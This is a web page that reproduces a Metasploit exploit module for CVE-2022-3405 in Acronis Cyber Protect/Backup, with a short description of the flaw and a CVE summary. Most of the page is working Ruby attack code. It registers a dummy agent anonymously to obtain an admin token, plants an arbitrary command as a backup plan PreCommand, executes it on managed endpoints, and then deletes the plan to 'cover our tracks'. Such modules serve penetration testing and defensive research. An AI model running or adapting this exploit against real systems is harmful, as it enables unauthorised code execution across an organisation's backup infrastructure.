Headline
Acronis Cyber Protect/Backup Remote Code Execution
The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous registration of new protect/backup agents on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions on the web console. This allows an attacker with network access to the appliance to start the registration of a new agent, retrieve a bearer token that provides admin access to the available functions in the web console. The web console contains multiple possibilities to execute arbitrary commands on both the agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation job on the agent of the appliance). These options can easily be set with the provided bearer token, which leads to a complete compromise of all agents and the appliance itself.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::AcronisCyber prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Acronis Cyber Protect/Backup remote code execution', 'Description' => %q{ Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources. Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment. The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous registration of new protect/backup agents on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions on the web console. This allows an attacker with network access to the appliance to start the registration of a new agent, retrieve a bearer token that provides admin access to the available functions in the web console. The web console contains multiple possibilities to execute arbitrary commands on both the agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation job on the agent of the appliance). These options can easily be set with the provided bearer token, which leads to a complete compromise of all agents and the appliance itself. You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` to collect target info for exploitation in this module. Or just run this module standalone and it will try to exploit the first online endpoint matching your target and payload settings configured at the module. Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. }, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module 'Sandro Tolksdorf of usd AG.' # discovery ], 'References' => [ ['CVE', '2022-3405'], ['URL', 'https://herolab.usd.de/security-advisories/usd-2022-0008/'], ['URL', 'https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405'] ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux', 'windows'], 'Privileged' => true, 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Windows Command', { 'Platform' => ['windows'], 'Arch' => ARCH_CMD, 'Type' => :win_cmd } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2022-11-08', 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 9877 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']), OptString.new('HOSTID', [false, 'hostId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), OptString.new('PARENTID', [false, 'parentId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), OptString.new('KEY', [false, 'key value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), OptEnum.new('OUTPUT', [true, 'Output format to use', 'none', ['none', 'json']]) ]) end # create and import backup plan data with payload # returns nil if not successful def create_and_import_backup_plan(hostid, parentid, key, payload, access_token2) id = Faker::Internet.uuid name = Rex::Text.rand_text_alphanumeric(5..8).downcase # we need to split the payload in the command and the arguments # otherwise command execution does not work for windows targets cmd_line = payload.split(' ', 2) case target['Type'] when :unix_cmd source_dir = '/home' target_dir = '/tmp' when :win_cmd source_dir = 'c:/users/public' target_dir = 'c:/windows/temp' else # probably macOS or other unix version source_dir = '/home' target_dir = '/tmp' end plan_data = { allowedActions: ['rename', 'revoke', 'runNow'], allowedBackupTypes: ['full', 'incremental'], backupType: 'files', bootableMediaPlan: false, editable: true, enabled: true, id: id.to_s, locations: { data: [{ displayName: target_dir.to_s, id: "[[\"ItemType\",\"local_folder\"],[\"LocalID\",\"#{target_dir}\"]]", type: 'local_folder' }] }, name: name.to_s, options: { backupOptions: { prePostCommands: { postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, preCommands: { command: cmd_line[0].to_s, commandArguments: cmd_line[1].to_s, continueOnCommandError: true, waitCommandComplete: false, workingDirectory: '' }, useDefaultCommands: false, usePostCommands: false, usePreCommands: true }, prePostDataCommands: { postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, preCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, useDefaultCommands: true, usePostCommands: false, usePreCommands: false }, scheduling: { interval: { type: 'minutes', value: 30 }, type: 'distributeBackupTimeOptions' }, simultaneousBackups: { simultaneousBackupsNumber: nil }, snapshot: { quiesce: true, retryConfiguration: { reattemptOnError: true, reattemptTimeFrame: { type: 'minutes', value: 5 }, reattemptsCount: 3, silentMode: false } }, tapes: { devices: [], overwriteDataOnTape: false, preserveTapesPosition: true, tapeSet: '' }, taskExecutionWindow: {}, taskFailureHandling: { periodBetweenRetryAttempts: { type: 'hours', value: 1 }, retryAttempts: 1, retryFailedTask: false }, taskStartConditions: { runAnyway: false, runAnywayAfterPeriod: { type: 'hours', value: 1 }, waitUntilMet: true }, validateBackup: false, volumes: { forceVssFullBackup: false, useMultiVolumeSnapshot: true, useNativeVssProvider: false, useVolumeShadowService: true, useVssFlags: ['definedRule'] }, vssFlags: { availableVssModes: ['auto', 'system'], enabled: true, value: 'auto', vssFullBackup: false }, windowsEventLog: { isGlobalConfigurationUsed: true, traceLevel: 'warning', traceState: false }, withHWSnapshot: false }, specificParameters: { inclusionRules: { rules: [ source_dir.to_s ], rulesType: 'centralizedFiles' }, type: '' } }, origin: 'centralized', route: { archiveSlicing: nil, stages: [ { archiveName: '[Machine Name]-[Plan ID]-[Unique ID]A', cleanUpIfNoSpace: false, cleanup: { time: [ { backupSet: 'daily', period: { type: 'days', value: 7 } }, { backupSet: 'weekly', period: { type: 'weeks', value: 4 } } ], type: 'cleanupByTime' }, destinationKind: 'local_folder', locationScript: nil, locationUri: target_dir.to_s, locationUriType: 'local', maintenanceWindow: nil, postAction: { convertToVMParameters: { agentIds: [], cpuCount: nil, diskAllocationType: 'thick', displayedName: nil, enabled: false, exactMemorySize: false, infrastructureType: '', memorySize: nil, networkAdapters: [], virtualMachineName: '', virtualServerHost: nil, virtualServerHostKey: '[["ItemType",""],["LocalID",""]]', virtualServerStorage: '' } }, rules: [ { afterBackup: true, backupCountUpperLimit: 0, backupSetIndex: 'daily', backupUpperLimitSize: 0, beforeBackup: false, consolidateBackup: false, deleteOlderThan: { type: 'days', value: 7 }, deleteYongerThan: { type: 'days', value: 0 }, onSchedule: false, retentionSchedule: { alarms: [], conditions: [], maxDelayPeriod: -1, maxRetries: 0, preventFromSleeping: true, retryPeriod: 0, type: 'none', unique: false, waitActionType: 'run' }, stagingOperationType: 'justCleanup' }, { afterBackup: true, backupCountUpperLimit: 0, backupSetIndex: 'weekly', backupUpperLimitSize: 0, beforeBackup: false, consolidateBackup: false, deleteOlderThan: { type: 'weeks', value: 4 }, deleteYongerThan: { type: 'days', value: 0 }, onSchedule: false, retentionSchedule: { alarms: [], conditions: [], maxDelayPeriod: -1, maxRetries: 0, preventFromSleeping: true, retryPeriod: 0, type: 'none', unique: false, waitActionType: 'run' }, stagingOperationType: 'justCleanup' } ], useProtectionPlanCredentials: true, validationRules: nil } ] }, scheme: { parameters: { backupSchedule: { kind: { dataType: 'binary', type: 'full' }, schedule: { alarms: [ { beginDate: { day: 0, month: 0, year: 0 }, calendar: { days: 65, type: 'weekly', weekInterval: 0 }, distribution: { enabled: false, interval: 0, method: 0 }, endDate: { day: 0, month: 0, year: 0 }, machineWake: false, repeatAtDay: { endTime: { hour: 0, minute: 0, second: 0 }, timeInterval: 0 }, runLater: false, skipOccurrences: 0, startTime: { hour: 23, minute: 0, second: 0 }, startTimeDelay: 0, type: 'time', utcBasedSettings: false } ], conditions: [], maxDelayPeriod: -1, maxRetries: 0, preventFromSleeping: true, retryPeriod: 0, type: 'daily', unique: false, waitActionType: 'run' } }, backupTypeRule: 'byScheme' }, schedule: { daysOfWeek: ['monday', 'tuesday', 'wednesday', 'thursday', 'friday'], effectiveDates: { from: { day: 0, month: 0, year: 0 }, to: { day: 0, month: 0, year: 0 } }, machineWake: false, preventFromSleeping: true, runLater: false, startAt: { hour: 23, minute: 0, second: 0 }, type: 'daily' }, type: 'weekly_full_daily_inc' }, sources: { data: [{ displayName: name.to_s, hostID: hostid.to_s, id: key.to_s }] }, target: { inclusions: [{ key: key.to_s, resource_key: key.to_s }] }, tenant: { id: parentid.to_s, locator: "/#{parentid}/", name: parentid.to_s, parentID: '' } }.to_json form_data = Rex::MIME::Message.new form_data.add_part(plan_data, 'application/json', nil, "form-data; name=\"planfile\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.json\"") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'import'), 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Authorization' => "bearer #{access_token2}" }, 'data' => form_data.to_s, 'vars_get' => { 'CreateDraftOnError' => true } }) return unless res&.code == 200 && res.body.include?('planId') && res.body.include?('importedPlans') # parse json response and return planId res_json = res.get_json_document return if res_json.blank? res_json.dig('data', 'importedPlans', 0, 'planId') end # remove the backup plan on the target including the payload # returns true if successful def remove_backup_plan(access_token2) post_data = { planIds: [@planid.to_s] }.to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plans_operations', 'remove_plans'), 'ctype' => 'application/json', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Authorization' => "bearer #{access_token2}" }, 'data' => post_data.to_s }) return false unless res&.code == 200 true end # execute the backup plan on the target including the payload # returns true if successful def execute_command(access_token2, _opts = {}) post_data = { planId: @planid.to_s }.to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'run'), 'ctype' => 'application/json', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Authorization' => "bearer #{access_token2}" }, 'data' => post_data.to_s }) return false unless res&.code == 200 true end def cleanup # try to remove imported backup plan with payload to cover our tracks # but do not run during the check phase super unless @check_running if remove_backup_plan(@access_token2) print_good('Backup plan is successful removed.') else print_warning('Backup plan could not be removed. Try to clean it manually.') end end end def check @check_running = true # initial check on api access res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), 'ctype' => 'application/json' }) return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') # get first access token print_status('Retrieve the first access token.') @access_token1 = get_access_token1 vprint_status("Extracted first access token: #{@access_token1}") return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil? # register a dummy agent client_id = Faker::Internet.uuid print_status('Register a dummy backup agent.') client_secret = dummy_agent_registration(client_id, @access_token1) return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil? print_status('Dummy backup agent registration is successful.') # get second access_token print_status('Retrieve the second access token.') @access_token2 = get_access_token2(client_id, client_secret) vprint_status("Extracted second access token: #{@access_token2}") return Exploit::CheckCode::Unknown('Retrieval of the second access token failed.') if @access_token2.nil? # get version info version = get_version_info(@access_token2) return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil? release = version.match(/(.+)\.(\d+)/) case release[1] when '15.0' if Rex::Version.new(version) < Rex::Version.new('15.0.29486') return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") else return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") end when '12.5' if Rex::Version.new(version) < Rex::Version.new('12.5.16545') return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") else return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") end else Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") end end def exploit @check_running = false # check if @access_token2 is already set as part of autocheck option if @access_token2.nil? # get first access token print_status('Retrieve the first access token.') @access_token1 = get_access_token1 vprint_status("Extracted first access token: #{@access_token1}") fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? # register a dummy agent client_id = Faker::Internet.uuid print_status('Register a dummy backup agent.') client_secret = dummy_agent_registration(client_id, @access_token1) fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? print_status('Dummy backup agent registration is successful.') # get second access_token print_status('Retrieve the second access token.') @access_token2 = get_access_token2(client_id, client_secret) vprint_status("Extracted second access token: #{@access_token2}") fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? end # if hostid, parentid and key are blank, fetch the first managed online endpoint defined at the appliance matching the module target setting hostid = datastore['HOSTID'] parentid = datastore['PARENTID'] key = datastore['KEY'] if hostid.blank? || parentid.blank? || key.blank? print_status('Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.') res_json = get_machine_info(@access_token2) fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil? # find first online target matching the module target settings res_json['data'].each do |item| next unless item['type'] == 'machine' && (item['osType'] == 'linux' && target['Type'] == :unix_cmd) || (item['osType'] == 'windows' && target['Type'] == :win_cmd) && item['online'] print_status("Found online target matching your target setting #{target.name}.") print_good("hostId: #{item['hostId']}") unless item['hostId'].nil? print_good("parentId: #{item['parentId']}") unless item['parentId'].nil? print_good("key: #{item['id']}") unless item['id'].nil? print_status("type: #{item['type']}") unless item['type'].nil? print_status("hostname: #{item['title']}") unless item['title'].nil? print_status("IP: #{item.dig('ip', 0)}") unless item.dig('ip', 0).nil? print_status("OS: #{item['os']}") unless item['os'].nil? print_status("ARCH: #{item['osType']}") unless item['osType'].nil? print_status("ONLINE: #{item['online']}") unless item['online'].nil? hostid = item['hostId'] parentid = item['parentId'] key = item['id'] break end end fail_with(Failure::NotFound, "No target available matching your target setting #{target.name}.") if hostid.blank? || parentid.blank? || key.blank? # create and import backup plan with payload print_status("Import backup plan with payload for target with hostId: #{hostid}.") @planid = create_and_import_backup_plan(hostid, parentid, key, payload.encoded, @access_token2) fail_with(Failure::BadConfig, 'Importing backup plan with payload failed.') if @planid.nil? print_status("Executing #{target.name} with payload #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd, :win_cmd execute_command(@access_token2) end endendRelated news
CVE-2022-3405
Code execution and sensitive information disclosure due to excessive privileges assigned to Acronis Agent. The following products are affected: Acronis Cyber Protect 15 (Windows, Linux) before build 29486, Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545.